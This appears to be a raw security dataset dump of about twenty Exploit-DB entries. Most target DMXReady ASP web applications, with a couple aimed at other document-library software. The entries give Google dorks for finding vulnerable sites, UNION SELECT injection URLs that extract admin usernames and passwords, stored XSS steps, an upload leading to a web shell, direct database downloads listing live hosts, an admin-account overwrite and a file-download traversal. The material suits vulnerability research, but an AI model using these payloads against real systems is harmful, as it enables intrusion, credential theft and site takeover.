deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7773
Description: DMXReady Member Directory Manager 1.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Member Directory Manager <= 1.1 SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  99.97 $
# Dork    :  inurl:inc_memberdirectorymanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_memberdirectorymanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]

You Find-> http://[target]/[path]/applications/MemberDirectoryManager/inc_memberdirectorymanager.asp
Edit     -> http://[target]/[path]/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]


Example:

USERNAME->
/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminUserName,4,3,2,1 from tblMDM_config

PASSWORD->
/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminPassword,4,3,2,1 from tblMDM_config

Admin Login->
/admin/MemberDirectoryManager/admin.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14]
Exploit-DB #14913
Description: DMXReady Members Area Manager - Persistent Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-09-06
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: DMXReady Members Area Manager Persistent XSS
Vendor url:http://www.dmxready.com/
Version:2
Price:295$
Published: 2010-09-06
GThanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
M4n0j,NoCare,SeeMe, gunslinger, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com)
Special Greetz: Topsecure.net,0xr00t.com,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

DMXReady Members Area Manager allows you to quickly create a whole area of
your website that is 'members only' so you can control who sees your
content!

    * Plug in automatically into DMXReady CMS or secure any web page on your
current ASP-enabled website with one line of script
    * Secure newsletter pages, organizational news, photo galleries,
paid-for content, and any online content you like
    * Unlimited security levels
    * Name your own levels i.e. "Visitor", "Member", "Subscriber", etc.
    * Easy-to-use Control Panel means anyone in the office can adjust
security settings
    * Members sign up themselves, which means less administration work for
you
    * Built-in member messaging feature - send to all members or only
certain groups
    * "Lost Password" feature sends password to members automatically
    * Fully open source so you can customize even further
    * Add in your own custom features


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

Persistent XSS :-

Step 1) Login into member or User Section

Link:

http://www.site.com/dmxreadyv2/membersareamanager/membersareamanager.asp?show=login-member

Step 2) Go to Edit profile

XSS Bug present in following

*)Contact Information

Address 2

*)Shipping Address

Address 2

*)Profile Details

Detail

Step 3) Enter your Attack Pattern

Step 4) Refresh and View User profile

Demo Url:-
http://www.site.com/dmxreadyv2/membersareamanager/membersareamanager.asp?member=&show=member-profile&tab=meta

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

# 0day n0 m0re #
# L0rd CrusAd3r #
Exploit-DB #7774
Description: DMXReady Members Area Manager 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Members Area Manager  <= 1.2 SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  149.97 $
# Dork    :  inurl:inc_membersareamanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_membersareamanager.asp&btnG=Google%27da+Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=[SQL Inject]

You Find-> http://[target]/[path]/applications/MembersAreaManager/inc_membersareamanager.asp
Edit     -> http://[target]/[path]/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=[SQL Inject]


Example:

USERNAME->
/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminUserName,3,4,5,6 from tblConfig

PASSWORD->
/admin/MembersAreaManager/components/SecurityLevelManager/upload_image_security_level.asp?cid=-12312312 union select 1,Security_AdminPassword,3,4,5,6 from tblConfig

Admin Login->
/admin/MembersAreaManager/admin.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14]
Exploit-DB #7752
Description: DMXReady News Manager 1.1 - Arbitrary Category Change
Type: webapps
Platform: asp
Date: 2009-01-13
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady News Manager <= 1.1 Remote Category Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  69.97 $
# Dork    :  inurl:inc_newsmanager.asp
# DorkEx  :

http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_newsmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************
# http://[target]/[path]/admin/NewsManager/CategoryManager/update_category.asp?cid=[CAT_ID]

[CAT_ID] = 1,2,3,4,5,6,7,8,9 ..... Brute Force ...

Example: 
You Find -> http://[target]/[path]//applications/NewsManager/inc_newsmanager.asp
Edit  ->    http://[target]/[path]//dmin/NewsManager/CategoryManager/update_category.asp?cid=[x]

Update Category Name : )

# milw0rm.com [2009-01-13]
Exploit-DB #17475
Description: DmxReady News Manager 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bellatrix

Exploit:
# Exploit Title: DmxReady News Manager v1.2 SQL Injection Vulnerability
# Google Dork: inurl:inc_newsmanager.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link: http://www.dmxready.com/?product=news-manager
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

-------------------------------------------------------------------------------------------------
Bug ;

http://target/path/admin/NewsManager/update.asp?ItemID=[SQL ATTACK]
Exploit-DB #7782
Description: DMXReady PayPal Store Manager 1.1 - Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady PayPal Store Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  129.97 $
# Dork    :  inurl:inc_paypalstoremanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_paypalstoremanager.asp&btnG=Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]/admin/PayPalStoreManager/CategoryManager/list.asp

Example: 
You Find -> http://[target]/[path]//applications/PayPalStoreManager/inc_paypalstoremanager.asp
Edit  ->    http://[target]/[path]//admin/PayPalStoreManager/CategoryManager/list.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #7783
Description: DMXReady Photo Gallery Manager 1.1 - Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Photo Gallery Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  39.97 $
# Dork    :  inurl:inc_photogallerymanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_photogallerymanager.asp&btnG=Google%27da+Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]/admin/PhotoGalleryManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/PhotoGalleryManager/inc_photogallerymanager.asp
Edit  ->    http://[target]/[path]//admin/PhotoGalleryManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #14908
Description: DMXready Polling Booth Manager - SQL Injection
Type: webapps
Platform: asp
Date: 2010-09-05
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: DMXready Polling Booth Manager SQLi Vulnerability
Vendor url:http://www.dmxready.com
Version:1
Price:79$
Published: 2010-09-6
GThanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j, The_Exploited, SeeMe, gunslinger_, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com) , 0xr00t.com , members
and my friends :) etc....
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾
Description:

DMXReady Polling Booth Manager is a quick and fun way to make your website
more interactive:

    * Change your poll daily, weekly, monthly -- whenever you like!
    * Find out what people think of you and your services, or post it just
for fun
    * Auto-archive old polls and results
    * Add multiple answer selections
    * Allow visitors to view results directly from the poll page
    * Doesn't allow visitors from voting more than once
    * Add images, question, and optional description of the poll
    * Add, edit, delete, or deactiviate any poll through one Admin page
    * Fully customizable - change the layout to match your website design

DMXReady Polling Booth Manager keeps all your web content fresh, and is a
great way to find out what your visitors think!


‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾‾*‾*‾*‾*‾*‾*‾

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/inc_pollingboothmanager.asp?view=results&QuestionID=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #8749
Description: DMXReady Registration Manager 1.1 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2009-05-20
Author: Securitylab.ir

Exploit:
######################### Securitylab.ir ########################
# Application Info:
# Name: DMXReady Registration Manager
# Version: 1.1
# Website: http://www.dmxready.com
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Arbitrary File Upload Vulnerability
# Risk: High
# Dork: "inc_webblogmanager.asp"
#===========================================================
# http://site.com/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp
# select file and uploaded
# view file : http://site.com/assets/webblogmanager/shell.aspx
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-20]
Exploit-DB #7784
Description: DMXReady Registration Manager 1.1 - Contents Change
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady Registration Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  49.97 $
# Dork    :  inurl:inc_registrationmanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_registrationmanager.asp&btnG=Google%27da+Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category

# http://[target]/[path]/admin/RegistrationManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/RegistrationManager/inc_registrationmanager.asp
Edit  ->    http://[target]/[path]//admin/RegistrationManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]
Exploit-DB #8705
Description: DMXReady Registration Manager 1.1 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-05-15
Author: S4S-T3rr0r!sT

Exploit:
************************************************** *****************************
# Title : DMXReady Registration Manager 1.1 Remote Database Disclosure Vulnerability
# Author : S4S-T3rr0r!sT
# Contact : l3t@hotmail.com / S4S@n2m3.com
# S.Page : DMXReady CMS Plugin Applications Web Site Design Extensions Dreamweaver ASP Template Database Driven
# Site : WwW.s3curi7y.com / www.h-t.cc
************************************************** *****************************

D0rk : "inurl:inc_webblogmanager.asp"

Exploit :

# http://[target].com/[path]/databases/webblogmanager.mdb

l!ve D3mo :

# http://74.200.213.93/databases/webblogmanager.mdb
# http://www.nomorewar.com/databases/webblogmanager.mdb


V1V4 GaZa

./Done

Thanx To : Cold-Z3ro , HcJ , ViRuSMaN , AlQaYsAr , zAx , Cyb3r-Err0r ,Arabic S3curi7y crew Members, all arabian hacker

# milw0rm.com [2009-05-15]
Exploit-DB #17478
Description: DMXReady Registration Manager 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-03
Author: Bellatrix

Exploit:
# Exploit Title: DMXReady Registration Manager v1.2 SQL Injection
Vulneratbility
# Google Dork: inurl:inc_registrationmanager.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=registration-manager
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

-------------------------------------------------------------------------------------------------

Bug;

http://target/path/admin/RegistrationManager/update.asp?MemberID=xx [ SQL
ATTACK]
Exploit-DB #7789
Description: DMXReady SDK 1.1 - Arbitrary File Download
Type: webapps
Platform: asp
Date: 2009-01-14
Author: ajann

Exploit:
*******************************************************************************
# Title   :  DMXReady SDK <= 1.1 Remote File Download Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com/productdetails.asp?mid=5&incid=11&ItemID=178
# $$      :  389.97 $

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

# http://[target]/path/control_panel/download_link.asp?filename=inc_faqsmanager_qs_jump_menu.asp&filelocation={FILE PATH}


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14]
Exploit-DB #17493
Description: DmxReady Secure Document Library 1.2 - SQL Injection
Type: webapps
Platform: asp
Date: 2011-07-05
Author: Bellatrix

Exploit:
 Exploit Title: DmxReady Secure Document Library v1.2 SQL Injection
Vulnerability
# Google Dork: inurl:inc_securedocumentlibrary.asp
# Date: 03.07.2011
# Author: Bellatrix
# Software Link:
http://www.dmxready.com/?product=secure-document-library
# Version: v1.2
#Language: ASP
# Price : $99.97
# Tested on: Windows XP Sp3
# Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....

-----------------------------------------------------------------------------------------------------------------------------

Bug;

*
http://target/path/admin/SecureDocumentLibrary/DocumentLibraryManager/update.asp?ItemID=xx[SQL
ATTACK]
Exploit-DB #29361
Description: DMXReady Secure Login Manager 1.0 - '/applications/SecureLoginManager/inc_secureloginmanager.asp?sent' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-27
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/21788/info
   
DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
   
These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com//applications/SecureLoginManager/inc_secureloginmanager.asp?sent=[SQL]
Exploit-DB #29359
Description: DMXReady Secure Login Manager 1.0 - 'content.asp?sent' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-27
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/21788/info
 
DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com/content.asp?mid=31&incid=17&sent=[sql]
Exploit-DB #29358
Description: DMXReady Secure Login Manager 1.0 - 'login.asp?sent' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-27
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/21788/info

DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com/login.asp?sent=[sql]
Exploit-DB #29360
Description: DMXReady Secure Login Manager 1.0 - 'members.asp?sent' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-27
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/21788/info
  
DMXReady Secure Login Manager is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in SQL queries. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
  
These issues affect Secure Login Manager 1.0; other versions may also be vulnerable.

http://www.example.com/members.asp??sent=[sql]
Exploit-DB #29012
Description: DMXReady Site Engine Manager 1.0 - 'index.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21064/info

DMXReady Site Engine Manager is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Site Engine Manager 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.asp?mid=[SQL Injection]
Exploit-DB #8130
Description: Document Library 1.0.1 - Arbitrary Change Admin
Type: webapps
Platform: asp
Date: 2009-03-02
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG

@~~=Contry   : Turkish
@~~=======================================~~@
@~~=Script   :Document Library Version 1.0.1

@~~=S.Site   :http://digitalinterchange.com

@~~=Dty      :http://digitalinterchange.com/products/index.asp?iProductID=12

@~~=Demo     :http://library.digitalinterchange.com

@~~=Price    :$109.00
@~~=======================================~~@

@~~=Vul:


@~~=Update Admin Account Info


@~~=http://c4team.org/ [PATH] /admin/save_user.asp


@~~=Admin Username   :Heykir

@~~=Admin [CREDENTIAL_REDACTED]

@~~=Confirm [CREDENTIAL_REDACTED]


@~~=Save


@~~=http://c4team.org/ [PATH] /admin/login.asp


@~~=Demo:

@~~=http://library.digitalinterchange.com/admin/save_user.asp

@~~=http://library.digitalinterchange.com/admin/login.asp

Vs....
@~~=======================================~~@
:( :( :(
@~~=======================================~~@

# milw0rm.com [2009-03-02]
Exploit-DB #29231
Description: Dol Storye - 'Dettaglio.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-12-06
Author: WarGame

Exploit:
source: https://www.securityfocus.com/bid/21463/info

The 'dol storye' application is prone to multiple SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path_to_storye/dettaglio.asp?id_doc='[SQL code]
http://www.example.com/path_to_storye/dettaglio.asp?id_aut='[SQL code]